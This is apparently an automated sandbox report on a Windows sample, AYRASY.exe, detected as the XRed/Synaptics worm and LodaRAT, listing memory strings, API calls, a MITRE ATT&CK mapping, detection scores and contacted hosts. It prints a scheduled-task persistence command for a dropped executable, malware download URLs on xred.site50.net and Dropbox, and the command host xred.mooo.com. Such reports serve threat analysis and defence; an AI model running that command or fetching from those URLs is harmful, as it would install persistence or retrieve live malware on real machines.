Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p6om9pl1b6g.q	memstr_e01f635e-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s5gd9ov2tv7n$q	memstr_6d2af0fd-b
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p6om9pl1b6g!q	memstr_19663e6b-4
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f5xr5ip0nk7c:q	memstr_5f75b214-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v1wl4kx8zv2k0q	memstr_31b04440-0
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f5xr5ip0nk7c	memstr_f1b176c7-7
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ettypen	memstr_f8d08991-b
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 5ip0nk7c	memstr_9eda6dd6-3
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p6om9pl1bc	memstr_7f9f9894-7
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l7bm2gf1uc0m	memstr_dc38858c-1
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 7yg1wr6g	memstr_7a8da1de-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t8jj9ic1w6g	memstr_4e6b50a9-0
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p6om9pl1b0d	memstr_df1788f7-f
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: k4ha7yg1wr6gmp	memstr_65fa4710-7
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p6om9pl1bfp	memstr_d3f38cc9-c
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: x8zv2kcp	memstr_2b27e5a6-8
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l7bm2gf1uc0m\|p	memstr_d7817071-2
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l7bm2gf1uc0mrp	memstr_5c762fdd-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t8jj9ic1w0mop	memstr_7d600183-b
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l7bm2gf1uc0mhp	memstr_88740ac8-3
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t8jj9ic1w6g^p	memstr_e0a27925-3
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: k4ha7yg1wr6g[p	memstr_057c53e7-b
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t8jj9ic1wqp	memstr_bddc301f-e
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t8jj9ic1w*p	memstr_f20a135f-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 2gf1uc0m'p	memstr_ed421e93-4
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: k4ha7yg1wr6g=p	memstr_93e5160f-8
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: t8jj9ic1w0m6p	memstr_20d21c2d-5
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p6om9pl1bp	memstr_73537b04-e
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p6om9pl1br	memstr_c2c5553b-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s5gd9ov2tv7n	memstr_49ee12cc-d
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: inueloop	memstr_f9374ff8-9
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: p6om9pl1bg	memstr_cca4be63-6
Source: ._cache_AYRASY.exe, 00000002.00000002.3414885254.000000000179C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: k4ha7yg1wr6glo	memstr_97b293a5-5

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

Code function: 2_2_001B4B52 SendInput,keybd_event,

2_2_001B4B52

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

Code function: 2_2_001B7DD5 mouse_event,

2_2_001B7DD5

Source: C:\Users\user\Desktop\AYRASY.exe	Process created: C:\Users\user\Desktop\._cache_AYRASY.exe "C:\Users\user\Desktop\._cache_AYRASY.exe"	Jump to behavior
Source: C:\Users\user\Desktop\AYRASY.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn WBHUSK.exe /tr C:\Users\user\AppData\Roaming\Windata\YOABSG.exe /sc minute /mo 1	Jump to behavior

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

Code function: 2_2_001AB398 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,RtlAllocateHeap,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

2_2_001AB398

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

Code function: 2_2_001ABE31 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

2_2_001ABE31

Source: ._cache_AYRASY.exe, YOABSG.exe	Binary or memory string: Shell_TrayWnd
Source: ._cache_AYRASY.exe, 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmp, YOABSG.exe, 00000009.00000002.2260984456.0000000000A5E000.00000040.00000001.01000000.00000009.sdmp, YOABSG.exe, 0000000C.00000002.2290673125.0000000000A5E000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndTHISREMOVEblankinfoquestionstopwarning

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

Code function: 2_2_00197254 cpuid

2_2_00197254

Source: C:\Users\user\Desktop\AYRASY.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

Code function: 2_2_001940DA GetSystemTimeAsFileTime,__aulldiv,

2_2_001940DA

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

Code function: 2_2_001EC146 GetUserNameW,

2_2_001EC146

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

Code function: 2_2_001A2C3C __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

2_2_001A2C3C

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

Code function: 2_2_0018E47B GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

2_2_0018E47B

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.17.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.17.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.17.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.17.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: ._cache_AYRASY.exe, 00000002.00000002.3412593994.0000000001446000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.17.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntiVirusProduct

Stealing of Sensitive Information

Yara detected LodaRAT

Source: Yara match	File source: Process Memory Space: ._cache_AYRASY.exe PID: 6564, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected XRed

Source: Yara match	File source: AYRASY.exe, type: SAMPLE
Source: Yara match	File source: 0.0.AYRASY.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000003.2300553454.0000000000750000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.2139635258.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: AYRASY.exe PID: 6600, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Synaptics.exe PID: 5048, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\Synaptics\RCX4413.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\GAOBCVIQIJ\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED

Source: YOABSG.exe, 00000016.00000002.3316449153.0000000000A5E000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 10, 2USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubytea
Source: YOABSG.exe, 00000015.00000003.2703406856.0000000004905000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIN_81
Source: YOABSG.exe	Binary or memory string: WIN_XP
Source: YOABSG.exe, 00000014.00000003.2518038035.0000000004762000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIN_81'
Source: YOABSG.exe	Binary or memory string: WIN_XPe
Source: YOABSG.exe, 00000009.00000003.2215831235.000000000434D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIN_813
Source: YOABSG.exe, 00000012.00000003.2437148887.0000000004933000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIN_818)
Source: YOABSG.exe	Binary or memory string: WIN_VISTA
Source: YOABSG.exe	Binary or memory string: WIN_7
Source: YOABSG.exe	Binary or memory string: WIN_8
Source: YOABSG.exe, 0000000C.00000003.2277128270.00000000047AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIN_81x
Source: YOABSG.exe, 00000016.00000002.3320822835.000000000473F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIN_81T

Source: Yara match

File source: Process Memory Space: ._cache_AYRASY.exe PID: 6564, type: MEMORYSTR

Remote Access Functionality

Yara detected LodaRAT

Source: Yara match	File source: Process Memory Space: ._cache_AYRASY.exe PID: 6564, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected XRed

Source: Yara match	File source: AYRASY.exe, type: SAMPLE
Source: Yara match	File source: 0.0.AYRASY.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000003.2300553454.0000000000750000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.2139635258.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: AYRASY.exe PID: 6600, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Synaptics.exe PID: 5048, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\Synaptics\RCX4413.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\GAOBCVIQIJ\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED

Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001C91DC socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	2_2_001C91DC
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001C96E2 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	2_2_001C96E2
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_00A091DC socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	9_2_00A091DC
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_00A096E2 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	9_2_00A096E2

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	421 Scripting	2 Valid Accounts	11 Windows Management Instrumentation	421 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	21 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	1 Replication Through Removable Media	2 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Peripheral Device Discovery	Remote Desktop Protocol	21 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	2 Valid Accounts	1 Extra Window Memory Injection	21 Obfuscated Files or Information	Security Account Manager	1 Account Discovery	SMB/Windows Admin Shares	3 Clipboard Data	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Scheduled Task/Job	2 Valid Accounts	1 Software Packing	NTDS	4 File and Directory Discovery	Distributed Component Object Model	Input Capture	34 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	21 Registry Run Keys / Startup Folder	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	38 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	12 Process Injection	1 Extra Window Memory Injection	Cached Domain Credentials	271 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	1 Scheduled Task/Job	12 Masquerading	DCSync	131 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	21 Registry Run Keys / Startup Folder	2 Valid Accounts	Proc Filesystem	3 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	131 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	11 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	21 Access Token Manipulation	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	12 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
AYRASY.exe	92%	ReversingLabs	Win32.Trojan.Synaptics
AYRASY.exe	87%	Virustotal		Browse
AYRASY.exe	100%	Avira	TR/Dldr.Agent.SH
AYRASY.exe	100%	Avira	W2000M/Dldr.Agent.17651006
AYRASY.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\WBHUSK.vbs	100%	Avira	VBS/Runner.VPJI
C:\ProgramData\Synaptics\RCX4413.tmp	100%	Avira	TR/Dldr.Agent.SH
C:\ProgramData\Synaptics\RCX4413.tmp	100%	Avira	W2000M/Dldr.Agent.17651006
C:\ProgramData\Synaptics\Synaptics.exe	100%	Avira	TR/Dldr.Agent.SH
C:\ProgramData\Synaptics\Synaptics.exe	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Users\user\Documents\GAOBCVIQIJ\~$cache1	100%	Avira	TR/Dldr.Agent.SH
C:\Users\user\Documents\GAOBCVIQIJ\~$cache1	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Users\user\Desktop\._cache_AYRASY.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	100%	Joe Sandbox ML
C:\ProgramData\Synaptics\RCX4413.tmp	100%	Joe Sandbox ML
C:\ProgramData\Synaptics\Synaptics.exe	100%	Joe Sandbox ML
C:\Users\user\Documents\GAOBCVIQIJ\~$cache1	100%	Joe Sandbox ML
C:\ProgramData\Synaptics\RCX4413.tmp	100%	ReversingLabs	Win32.Worm.Zorex
C:\ProgramData\Synaptics\Synaptics.exe	92%	ReversingLabs	Win32.Trojan.Synaptics
C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	47%	ReversingLabs	Win32.Trojan.Lisk
C:\Users\user\Desktop\._cache_AYRASY.exe	47%	ReversingLabs	Win32.Trojan.Lisk
C:\Users\user\Documents\GAOBCVIQIJ\~$cache1	100%	ReversingLabs	Win32.Worm.Zorex

Source	Detection	Scanner	Label
http://xred.site50.net/syn/SUpdate.ini0.	100%	Avira URL Cloud	malware
https://drive.userconten	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/SSLLibrary.dl8	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
freedns.afraid.org	69.42.215.252	true	false	high
docs.google.com	142.250.186.46	true	false	high
drive.usercontent.google.com	172.217.23.97	true	false	high
xred.mooo.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
xred.mooo.com	false		high
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978;X	Synaptics.exe, 00000003.00000002.2436766309.0000000000780000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=	AYRASY.exe, 00000000.00000003.2148237469.00000000022E0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/SUpdate.ini0.	AYRASY.exe, 00000000.00000003.2148237469.00000000022E0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://xred.site50.net/syn/Synaptics.rarZ	Synaptics.exe, 00000003.00000002.2438067396.0000000002190000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1	AYRASY.exe	false		high
https://docs.google.com/8	Synaptics.exe, 00000003.00000002.2441515499.000000000557F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.0000000005520000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.google.com/ty	Synaptics.exe, 00000003.00000002.2441515499.0000000005618000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1:	Synaptics.exe, 00000003.00000002.2438067396.0000000002190000.00000004.00001000.00020000.00000000.sdmp	false		high
https://drive.userconten	Synaptics.exe, 00000003.00000003.2356852883.000000000558B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.0000000005597000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.usercontent.google.com/	Synaptics.exe, 00000003.00000003.2357080869.0000000005535000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.0000000005520000.00000004.00000020.00020000.00000000.sdmp	false		high
http://upx.sf.net	Amcache.hve.17.dr	false		high
http://xred.site50.net/syn/Synaptics.rar	AYRASY.exe	false		high
http://ip-score.com/checkip/	._cache_AYRASY.exe, 00000002.00000002.3416162659.00000000046DE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.google.com/	Synaptics.exe, 00000003.00000002.2441515499.000000000557F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2356852883.00000000055CC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.000000000556D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2356235775.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2436766309.000000000072B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2436766309.00000000007B2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.google.com/google.com/	Synaptics.exe, 00000003.00000002.2441515499.0000000005618000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2356852883.00000000055CC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/SSLLibrary.dll6	Synaptics.exe, 00000003.00000002.2438067396.0000000002190000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1:	Synaptics.exe, 00000003.00000002.2438067396.0000000002190000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1	AYRASY.exe	false		high
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1	~DFF3ADC856E5C0AEBE.TMP.4.dr	false		high
https://docs.google.com/oogle-analytics.com	Synaptics.exe, 00000003.00000002.2441515499.0000000005618000.00000004.00000020.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/SSLLibrary.dl8	AYRASY.exe, 00000000.00000003.2148237469.00000000022E0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://docs.google.com/uc?id=0BxsMX	Synaptics.exe, 00000003.00000002.2441515499.000000000557F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dlL	AYRASY.exe, 00000000.00000003.2148237469.00000000022E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.google.com/neer	Synaptics.exe, 00000003.00000003.2356852883.00000000055CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVG	Synaptics.exe, 00000003.00000003.2356852883.000000000558B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/SUpdate.iniZ	Synaptics.exe, 00000003.00000002.2438067396.0000000002190000.00000004.00001000.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/SUpdate.ini	AYRASY.exe	false		high
https://docs.google.com/der	Synaptics.exe, 00000003.00000002.2441515499.000000000557F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=16	Synaptics.exe, 00000003.00000002.2438067396.0000000002190000.00000004.00001000.00020000.00000000.sdmp	false		high
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978l	AYRASY.exe, 00000000.00000003.2148237469.00000000022E0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.google.com/uc?id=0;	Synaptics.exe, 00000003.00000002.2455890398.00000000083BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2444140781.000000000617E000.00000004.00000010.00020000.00000000.sdmp	false		high
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc6135629787	Synaptics.exe, 00000003.00000002.2436766309.000000000072B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/SSLLibrary.dll	AYRASY.exe	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.46	docs.google.com	United States	15169	GOOGLEUS	false
172.217.23.97	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
172.111.138.100	unknown	United States	3223	VOXILITYGB	true
69.42.215.252	freedns.afraid.org	United States	17048	AWKNET-LLCUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582334
Start date and time:	2024-12-30 11:23:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	AYRASY.exe
Detection:	MAL
Classification:	mal100.troj.expl.evad.winEXE@21/28@5/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 92 Number of non-executed functions: 282
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.109.28.46, 184.28.90.27, 52.113.194.132, 20.189.173.17, 104.208.16.94, 13.107.246.45, 20.190.159.23, 20.109.210.53, 13.107.253.44
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, onedscolprdwus22.westus.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, ecs-office.s-0005.s-msedge.net, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, officeclient.microsoft.com, prod.fs.microsoft.com.akadns.net, onedsblobprdcus16.centralus.cloudapp.azure.com, ecs.office.com, self-events-data.trafficmanager.net, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, ctldl.windowsupdate.com, s-0005-office.config.skype.com, fe3cr.delivery.mp.microsoft.com, s-0005.s-msedge.net, config.officeapps.live.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, ecs.office.trafficmanager.net, europe.configsvc1.live.com.akadns.net, uks-azsc-config.officeapps.live.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
